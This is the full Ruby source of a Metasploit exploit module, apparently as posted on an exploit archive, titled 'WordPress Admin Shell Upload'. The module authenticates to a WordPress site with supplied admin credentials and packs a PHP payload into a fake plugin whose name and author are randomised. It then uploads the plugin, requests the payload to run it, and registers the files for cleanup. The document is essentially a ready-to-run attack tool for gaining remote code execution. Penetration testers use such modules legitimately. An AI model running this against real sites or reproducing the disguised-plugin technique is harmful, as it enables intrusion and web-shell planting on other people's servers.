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WordPress Admin Shell Upload

WordPress Admin Shell Upload
Posted Feb 23, 2015
Authored by Rob Carr | Site metasploit.com

This Metasploit module will generate a plugin, pack the payload into it and upload it to a server running WordPress providing valid admin credentials are used.

tags | exploit
SHA-256 | a2b4ca412d9f29c4356c655f0f95dafeadc83a07afc9bdd472d5188927e91f03

WordPress Admin Shell Upload

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##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::HTTP::Wordpress

def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Admin Shell Upload',
'Description' => %q{
This module will generate a plugin, pack the payload into it
and upload it to a server running WordPress providing valid
admin credentials are used.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'DisclosureDate' => 'Feb 21 2015',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress', {}]],
'DefaultTarget' => 0
))

register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
], self.class)
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def generate_plugin(plugin_name, payload_name)
plugin_script = %Q{<?php
/**
* Plugin Name: #{plugin_name}
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
* Author: #{Rex::Text.rand_text_alpha(10)}
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
* License: GPL2
*/
?>}

zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
zip
end

def exploit
fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?

print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("#{peer} - Authenticated with WordPress")

print_status("#{peer} - Preparing payload...")
plugin_name = Rex::Text.rand_text_alpha(10)
payload_name = "#{Rex::Text.rand_text_alpha(10)}"
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
zip = generate_plugin(plugin_name, payload_name)

print_status("#{peer} - Uploading payload...")
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

print_status("#{peer} - Executing the payload at #{payload_uri}...")
register_files_for_cleanup("#{payload_name}.php")
register_files_for_cleanup("#{plugin_name}.php")
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
end
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